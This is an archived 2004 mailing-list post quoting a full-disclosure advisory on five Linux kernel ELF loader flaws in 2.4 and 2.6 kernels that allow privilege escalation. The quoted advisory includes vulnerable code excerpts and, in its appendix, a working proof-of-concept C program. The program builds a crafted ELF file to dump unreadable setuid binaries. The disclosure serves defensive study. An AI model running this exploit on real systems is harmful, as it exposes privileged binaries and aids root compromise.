[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[no subject]



-Jim P.

On Wed, 2004-11-10 at 13:33 -0500, Jim Popovitch wrote:
> Interesting:
> 
> -------- Forwarded Message --------
> To: full-disclosure at lists.netsys.com, bugtraq at securityfocus.com
> Subject: Linux ELF loader vulnerabilities
> Date: Wed, 10 Nov 2004 12:59:25 +0100 (CET)
> 
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
> 
> 
> Synopsis:  Linux kernel binfmt_elf loader vulnerabilities
> Product:   Linux kernel
> Version:   2.4 up to to and including 2.4.27, 2.6 up to to and
>            including 2.6.8
&gt; Vendor:    <a  rel="nofollow" href="http://www.kernel.org/";>http://www.kernel.org/</a>
&gt; URL:       <a  rel="nofollow" href="http://isec.pl/vulnerabilities/isec-0017-binfmt_elf.txt";>http://isec.pl/vulnerabilities/isec-0017-binfmt_elf.txt</a>
&gt; CVE:       not assigned
&gt; Author:    Paul Starzetz &lt;ihaquer at isec.pl&gt;
&gt; Date:      Nov 10, 2004
&gt; 
&gt; 
&gt; Issue:
&gt; ======
&gt; 
&gt; Numerous  bugs  have  been  found  in  the Linux ELF binary loader while
&gt; handling setuid binaries.
&gt; 
&gt; 
&gt; Details:
&gt; ========
&gt; 
&gt; On Unix like systems the execve(2) system call provides functionality to
&gt; replace  the  current process by a new one (usually found in binary form
&gt; on the disk) or in other words to execute a new program.
&gt; 
&gt; Internally the Linux  kernel  uses  a  binary  format  loader  layer  to
&gt; implement  the  low level format dependend functionality of the execve()
&gt; system call. The common execve code contains just few  helper  functions
&gt; used  to  load  the  new binary and leaves the format specific work to a
&gt; specialized binary format loader.
&gt; 
&gt; One of the Linux format loaders is  the  ELF  (Executable  and  Linkable
&gt; Format)  loader.  Nowadays ELF is the standard format for Linux binaries
&gt; besides the a.out binary format, which is not used in practice  anymore.
&gt; 
&gt; One  of  the  functions  of a binary format loader is to properly handle
&gt; setuid executables, that is executables with the setuid bit set  on  the
&gt; file  system  image  of  the executable. It allows execution of programs
&gt; under a different user ID than the user issuing the execve call  but  is
&gt; some lacy work from security point of view.
&gt; 
&gt; Every ELF binary contains an ELF header defining the type and the layout
&gt; of the program in memory  as  well  as  addition  sections  (like  which
&gt; program interpreter to load, symbot table, etc). The ELF header normally
&gt; contains information about the entry point (start address) of the binary
&gt; and the position of the memory map header (phdr) in the binary image and
&gt; the program  interpreter  (that  is  normally  the  dynamic  linker  ld-
&gt; linux.so).  The  memory  map  header  definies the memory mapping of the
&gt; executable file that can be seen later from /proc/self/maps.
&gt; 
&gt; We have indentified 5 different flaws in the  Linux  ELF  binary  loader
&gt; (linux/fs/binfmt_elf.c all line numbers for 2.4.27):
&gt; 
&gt; 
&gt; 1)  wrong  return value check while filling kernel buffers (loop to scan
&gt; the binary header for an interpreter section):
&gt; 
&gt; static int load_elf_binary(struct linux_binprm * bprm, struct pt_regs * regs)
&gt; {
&gt;        size = elf_ex.e_phnum * sizeof(struct elf_phdr);
&gt;        elf_phdata = (struct elf_phdr *) kmalloc(size, GFP_KERNEL);
&gt;        if (!elf_phdata)
&gt;               goto out;
&gt; 
&gt; 477:   retval = kernel_read(bprm-&gt;file, elf_ex.e_phoff, (char *) elf_phdata, size);
&gt;        if (retval &lt; 0)
&gt;               goto out_free_ph;
&gt; 
&gt; The above code looks good on the  first  glance,  however  checking  the
&gt; return  value  of  kernel_read (which calls file-&gt;f_op-&gt;read) to be non-
&gt; negative is not sufficient since a read() can perfectly return less than
&gt; the  requested  buffer  size  bytes. This bug happens also on lines 301,
&gt; 523, 545 respectively.
&gt; 
&gt; 
&gt; 2) incorrect on error behaviour, if the mmap() call fails (loop to  mmap
&gt; binary sections into memory):
&gt; 
&gt; 645:   for(i = 0, elf_ppnt = elf_phdata; i &lt; elf_ex.e_phnum; i++, elf_ppnt++) {
&gt; 684:          error = elf_map(bprm-&gt;file, load_bias + vaddr, elf_ppnt, elf_prot, elf_flags);
&gt;               if (BAD_ADDR(error))
&gt;                      continue;
&gt; 
&gt; 
&gt; 3)  bad return value vulnerability while mapping the program intrepreter
&gt; into memory:
&gt; 
&gt; 301:   retval = kernel_read(interpreter,interp_elf_ex-&gt;e_phoff,(char *)elf_phdata,size);
&gt;        error = retval;
&gt;        if (retval &lt; 0)
&gt;               goto out_close;
&gt; 
&gt;        eppnt = elf_phdata;
&gt;        for (i=0; i&lt;interp_elf_ex-&gt;e_phnum; i++, eppnt++) {
&gt;            map_addr = elf_map(interpreter, load_addr + vaddr, eppnt, elf_prot, elf_type);
&gt; 322:       if (BAD_ADDR(map_addr))
&gt;               goto out_close;
&gt; out_close:
&gt;        kfree(elf_phdata);
&gt; out:
&gt;        return error;
&gt; }
&gt; 
&gt; 
&gt; 4) the loaded interpreter section can contain an interpreter name string
&gt; without the terminating NULL:
&gt; 
&gt; 508:        for (i = 0; i &lt; elf_ex.e_phnum; i++) {
&gt; 518:                 elf_interpreter = (char *) kmalloc(elf_ppnt-&gt;p_filesz,
&gt;                                                            GFP_KERNEL);
&gt;                         if (!elf_interpreter)
&gt;                                 goto out_free_file;
&gt; 
&gt;                         retval = kernel_read(bprm-&gt;file, elf_ppnt-&gt;p_offset,
&gt;                                            elf_interpreter,
&gt;                                            elf_ppnt-&gt;p_filesz);
&gt;                         if (retval &lt; 0)
&gt;                                 goto out_free_interp;
&gt; 
&gt; 
&gt; 5)  bug  in  the  common  execve()  code  in  exec.c:  vulnerability  in
&gt; open_exec() permitting reading of non-readable ELF binaries,  which  can
&gt; be triggered by requesting the file in the ELF PT_INTERP section:
&gt; 
&gt; 541:          interpreter = open_exec(elf_interpreter);
&gt;               retval = PTR_ERR(interpreter);
&gt;               if (IS_ERR(interpreter))
&gt;                      goto out_free_interp;
&gt;               retval = kernel_read(interpreter, 0, bprm-&gt;buf, BINPRM_BUF_SIZE);
&gt; 
&gt; 
&gt; Discussion:
&gt; =============
&gt; 
&gt; 1)  The  Linux  man  pages state that a read(2) can return less than the
&gt; requested number of bytes, even zero. It  is  not  clear  how  this  can
&gt; happen  while  reading  a  disk  file  (in contrast to network sockets),
&gt; however here some thoughts:
&gt; 
&gt; - - if we trick read to fill the elf_phdata buffer  with  less  than  size
&gt; bytes,  the remaining part of the buffer will contain some garbage data,
&gt; that is data from the previous kernel object, which occupied that memory
&gt; area.
&gt; 
&gt; Therefore  we  could  arbitrarily modify the memory layout of the binary
&gt; supplying a suitable header  information  in  the  kernel  buffer.  This
&gt; should  be  sufficient  to  gain controll over the flow of execution for
&gt; most of the setuid binaries around.
&gt; 
&gt; - - on Linux a disk read goes through the page cache. That is, a disk read
&gt; can  easily  fail  on  a page boundary due to a low memory condition. In
&gt; this case read will return less than the requested number of  bytes  but
&gt; still indicate success (ret&gt;0).
&gt; 
&gt; - -  most  of  the  standard  setuid  binaries  on  a  'normal' i386 Linux
&gt; installation have ELF headers stored below the  4096th  byte,  therefore
&gt; they are probably not exploitable on i386 architecture.
&gt; 
&gt; 
&gt; 2) This bug can lead to a incorrectly mmaped binary image in the memory.
&gt; There are various reasons why a mmap() call can fail:
&gt; 
&gt; - - a temporary low memory condition, so that the allocation of a new  VMA
&gt; descriptor fails
&gt; 
&gt; - -  memory  limit  (RLIMIT_AS) excedeed, which can be easily manpipulated
&gt; before calling execve()
&gt; 
&gt; - - file locks held for the binary file in question
&gt; 
&gt; Security implications in the case of a setuid binary are quite  obvious:
&gt; we  may  end  up with a binary without the .text or .bss section or with
&gt; those sections shifted (in the case they are not 'fixed'  sections).  It
&gt; is  not  clear  which  standard  binaries  are exploitable however it is
&gt; sufficient that at some point we come over some instructions  that  jump
&gt; into  the  environment area due to malformed memory layout and gain full
&gt; controll over the setuid application.
&gt; 
&gt; 
&gt; 3) This bug is similar to 2) however the code  incorrectly  returns  the
&gt; kernel_read  status  to  the calling function on mmap failure which will
&gt; assume that the program interpreter has been loaded. That means that the
&gt; kernel  will  start  the  execution of the binary file itself instead of
&gt; calling the program interpreter (linker) that have to finish the  binary
&gt; loading from user space.
&gt; 
&gt; We  have  found  that  standard  Linux  (i386, GCC 2.95) setuid binaries
&gt; contain code that will jump to the EIP=0 address and crash (since  there
&gt; is no virtual memory mapped there), however this may vary from binary to
&gt; binary as well from architecture  to  architecture  and  may  be  easily
&gt; exploitable.
&gt; 
&gt; 
&gt; 4) This bug leads to internal kernel file system functions beeing called
&gt; with an argument string  exceeding  the  maximum  path  size  in  length
&gt; (PATH_MAX). It is not clear if this condition is exploitable.
&gt; 
&gt; An  user may try to execute such a malicious binary with an unterminated
&gt; interpreter name string and trick the kernel memory manager to return  a
&gt; memory  chunk  for  the  elf_interpreter variable followed by a suitable
&gt; longish path name (like ./././....). Our experiments show  that  it  can
&gt; lead to a preceivable system hang.
&gt; 
&gt; 
&gt; 5)  This  bug  is  similar  to the shared file table race [1]. We give a
&gt; proof-of-concept code at the end of this article that  just  core  dumps
&gt; the non-readable but executable ELF file.
&gt; 
&gt; An user may create a manipulated ELF binary that requests a non-readable
&gt; but executable file as program intrepreter and gain read access  to  the
&gt; privileged  binary.  This  works  only  if the file is a valid ELF image
&gt; file, so it is not possible to read a data file that has the execute bit
&gt; set  but the read bit cleared. A common usage would be to read exec-only
&gt; setuid binaries to gain offsets for further exploitation.
&gt; 
&gt; 
&gt; Impact:
&gt; =======
&gt; 
&gt; Unprivileged users may gain elevated (root) privileges.
&gt; 
&gt; 
&gt; Credits:
&gt; ========
&gt; 
&gt; Paul Starzetz &lt;ihaquer at isec.pl&gt; has  identified  the  vulnerability  and
&gt; performed  further  research. COPYING, DISTRIBUTION, AND MODIFICATION OF
&gt; INFORMATION PRESENTED HERE IS ALLOWED ONLY WITH  EXPRESS  PERMISSION  OF
&gt; ONE OF THE AUTHORS.
&gt; 
&gt; 
&gt; Disclaimer:
&gt; ===========
&gt; 
&gt; This  document and all the information it contains are provided &quot;as is&quot;,
&gt; for educational purposes only, without warranty  of  any  kind,  whether
&gt; express or implied.
&gt; 
&gt; The  authors reserve the right not to be responsible for the topicality,
&gt; correctness, completeness or quality of  the  information   provided  in
&gt; this  document.  Liability  claims regarding damage caused by the use of
&gt; any information provided, including any kind  of  information  which  is
&gt; incomplete or incorrect, will therefore be rejected.
&gt; 
&gt; 
&gt; Appendix:
&gt; =========
&gt; 
&gt; /*
&gt;  *
&gt;  *	binfmt_elf executable file read vulnerability
&gt;  *
&gt;  *	gcc -O3 -fomit-frame-pointer elfdump.c -o elfdump
&gt;  *
&gt;  *	Copyright (c) 2004  iSEC Security Research. All Rights Reserved.
&gt;  *
&gt;  *	THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED &quot;AS IS&quot;
&gt;  *	AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
&gt;  *	WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
&gt;  *
&gt;  */
&gt; 
&gt; 
&gt; 
&gt; #include &lt;stdio.h&gt;
&gt; #include &lt;stdlib.h&gt;
&gt; #include &lt;string.h&gt;
&gt; #include &lt;fcntl.h&gt;
&gt; #include &lt;unistd.h&gt;
&gt; 
&gt; #include &lt;sys/types.h&gt;
&gt; #include &lt;sys/resource.h&gt;
&gt; #include &lt;sys/wait.h&gt;
&gt; 
&gt; #include &lt;linux/elf.h&gt;
&gt; 
&gt; 
&gt; #define BADNAME &quot;/tmp/_elf_dump&quot;
&gt; 
&gt; 
&gt; 
&gt; void usage(char *s)
&gt; {
&gt; 	printf(&quot;\nUsage: %s executable\n\n&quot;, s);
&gt; 	exit(0);
&gt; }
&gt; 
&gt; //	ugly mem scan code :-)
&gt; static volatile void bad_code(void)
&gt; {
&gt; __asm__(
&gt; //		&quot;1:		jmp 1b \n&quot;
&gt; 		&quot;		xorl	%edi, %edi		\n&quot;
&gt; 		&quot;		movl	%esp, %esi		\n&quot;
&gt; 		&quot;		xorl	%edx, %edx		\n&quot;
&gt; 		&quot;		xorl	%ebp, %ebp		\n&quot;
&gt; 		&quot;		call	get_addr		\n&quot;
&gt; 
&gt; 		&quot;		movl	%esi, %esp		\n&quot;
&gt; 		&quot;		movl	%edi, %ebp		\n&quot;
&gt; 		&quot;		jmp	inst_sig		\n&quot;
&gt; 
&gt; 		&quot;get_addr:	popl	%ecx			\n&quot;
&gt; 
&gt; //	sighand
&gt; 		&quot;inst_sig:	xorl	%eax, %eax		\n&quot;
&gt; 		&quot;		movl	$11, %ebx		\n&quot;
&gt; 		&quot;		movb	$48, %al		\n&quot;
&gt; 		&quot;		int	$0x80			\n&quot;
&gt; 
&gt; 		&quot;ld_page:	movl	%ebp, %eax		\n&quot;
&gt; 		&quot;		subl	%edx, %eax		\n&quot;
&gt; 		&quot;		cmpl	$0x1000, %eax		\n&quot;
&gt; 		&quot;		jle	ld_page2		\n&quot;
&gt; 
&gt; //	mprotect
&gt; 		&quot;		pusha				\n&quot;
&gt; 		&quot;		movl	%edx, %ebx		\n&quot;
&gt; 		&quot;		addl 	$0x1000, %ebx		\n&quot;
&gt; 		&quot;		movl	%eax, %ecx		\n&quot;
&gt; 		&quot;		xorl	%eax, %eax		\n&quot;
&gt; 		&quot;		movb	$125, %al		\n&quot;
&gt; 		&quot;		movl	$7, %edx		\n&quot;
&gt; 		&quot;		int	$0x80			\n&quot;
&gt; 		&quot;		popa				\n&quot;
&gt; 
&gt; 		&quot;ld_page2:	addl	$0x1000, %edi		\n&quot;
&gt; 		&quot;		cmpl	$0xc0000000, %edi	\n&quot;
&gt; 		&quot;		je	dump			\n&quot;
&gt; 		&quot;		movl	%ebp, %edx		\n&quot;
&gt; 		&quot;		movl	(%edi), %eax		\n&quot;
&gt; 		&quot;		jmp	ld_page			\n&quot;
&gt; 
&gt; 		&quot;dump:		xorl	%eax, %eax		\n&quot;
&gt; 		&quot;		xorl	%ecx, %ecx		\n&quot;
&gt; 		&quot;		movl	$11, %ebx		\n&quot;
&gt; 		&quot;		movb	$48, %al		\n&quot;
&gt; 		&quot;		int	$0x80			\n&quot;
&gt; 		&quot;		movl	$0xdeadbeef, %eax	\n&quot;
&gt; 		&quot;		jmp	*(%eax)			\n&quot;
&gt; 
&gt; 	);
&gt; }
&gt; 
&gt; 
&gt; static volatile void bad_code_end(void)
&gt; {
&gt; }
&gt; 
&gt; 
&gt; int main(int ac, char **av)
&gt; {
&gt; struct elfhdr eh;
&gt; struct elf_phdr eph;
&gt; struct rlimit rl;
&gt; int fd, nl, pid;
&gt; 
&gt; 	if(ac&lt;2)
&gt; 		usage(av[0]);
&gt; 
&gt; //	make bad a.out
&gt; 	fd=open(BADNAME, O_RDWR|O_CREAT|O_TRUNC, 0755);
&gt; 	nl = strlen(av[1])+1;
&gt; 	memset(&amp;eh, 0, sizeof(eh) );
&gt; 
&gt; //	elf exec header
&gt; 	memcpy(eh.e_ident, ELFMAG, SELFMAG);
&gt; 	eh.e_type = ET_EXEC;
&gt; 	eh.e_machine = EM_386;
&gt; 	eh.e_phentsize = sizeof(struct elf_phdr);
&gt; 	eh.e_phnum = 2;
&gt; 	eh.e_phoff = sizeof(eh);
&gt; 	write(fd, &amp;eh, sizeof(eh) );
&gt; 
&gt; //	section header(s)
&gt; 	memset(&amp;eph, 0, sizeof(eph) );
&gt; 	eph.p_type = PT_INTERP;
&gt; 	eph.p_offset = sizeof(eh) + 2*sizeof(eph);
&gt; 	eph.p_filesz = nl;
&gt; 	write(fd, &amp;eph, sizeof(eph) );
&gt; 
&gt; 	memset(&amp;eph, 0, sizeof(eph) );
&gt; 	eph.p_type = PT_LOAD;
&gt; 	eph.p_offset = 4096;
&gt; 	eph.p_filesz = 4096;
&gt; 	eph.p_vaddr = 0x0000;
&gt; 	eph.p_flags = PF_R|PF_X;
&gt; 	write(fd, &amp;eph, sizeof(eph) );
&gt; 
&gt; //	.interp
&gt; 	write(fd, av[1], nl );
&gt; 
&gt; //	execable code
&gt; 	nl = &amp;bad_code_end - &amp;bad_code;
&gt; 	lseek(fd, 4096, SEEK_SET);
&gt; 	write(fd, &amp;bad_code, 4096);
&gt; 	close(fd);
&gt; 
&gt; //	dump the shit
&gt; 	rl.rlim_cur = RLIM_INFINITY;
&gt; 	rl.rlim_max = RLIM_INFINITY;
&gt; 	if( setrlimit(RLIMIT_CORE, &amp;rl) )
&gt; 		perror(&quot;\nsetrlimit failed&quot;);
&gt; 	fflush(stdout);
&gt; 	pid = fork();
&gt; 	if(pid)
&gt; 		wait(NULL);
&gt; 	else
&gt; 		execl(BADNAME, BADNAME, NULL);
&gt; 
&gt; 	printf(&quot;\ncore dumped!\n\n&quot;);
&gt; 	unlink(BADNAME);
&gt; 
&gt; return 0;
&gt; }
&gt; 
&gt; - -- 
&gt; Paul Starzetz
&gt; iSEC Security Research
&gt; <a  rel="nofollow" href="http://isec.pl/";>http://isec.pl/</a>
&gt; 
&gt; -----BEGIN PGP SIGNATURE-----
&gt; Version: GnuPG v1.0.7 (GNU/Linux)
&gt; 
&gt; iD8DBQFBkgKiC+8U3Z5wpu4RAts9AKCYBrBfOXG/XuTdKr7Aw/WKJwIBUgCffAvH
&gt; NgTqTlQ2xmIfX6P5JXMpqqs=
&gt; =WF4V
&gt; -----END PGP SIGNATURE-----
&gt; 
&gt; 
&gt; 
&gt; _______________________________________________
&gt; Ale mailing list
&gt; Ale at ale.org
&gt; <a  rel="nofollow" href="http://www.ale.org/mailman/listinfo/ale";>http://www.ale.org/mailman/listinfo/ale</a>


</pre>
<!--X-Body-of-Message-End-->
<!--X-MsgBody-End-->
<!--X-Follow-Ups-->
<hr>
<!--X-Follow-Ups-End-->
<!--X-References-->
<ul><li><strong>References</strong>:
<ul>
<li><strong><a name="00343" href="msg00343.html">[ale] Fwd: Linux ELF loader vulnerabilities</a></strong>
<ul><li><em>From:</em> jimpop at yahoo.com (Jim Popovitch)</li></ul></li>
</ul></li></ul>
<!--X-References-End-->
<!--X-BotPNI-->
<ul>
<li>Prev by Date:
<strong><a href="msg00420.html">[ale] Mandrake upgrade via nfs</a></strong>
</li>
<li>Next by Date:
<strong><a href="msg00422.html">[ale] Re:</a></strong>
</li>
<li>Previous by thread:
<strong><a href="msg00343.html">[ale] Fwd: Linux ELF loader vulnerabilities</a></strong>
</li>
<li>Next by thread:
<strong><a href="msg00346.html">[ale] Somewhat OT: Command line dataplots/pivot tables</a></strong>
</li>
<li>Index(es):
<ul>
<li><a href="maillist.html#00421"><strong>Date</strong></a></li>
<li><a href="threads.html#00421"><strong>Thread</strong></a></li>
</ul>
</li>
</ul>

<!--X-BotPNI-End-->
<!--X-User-Footer-->
<!--X-User-Footer-End-->
</body>
</html>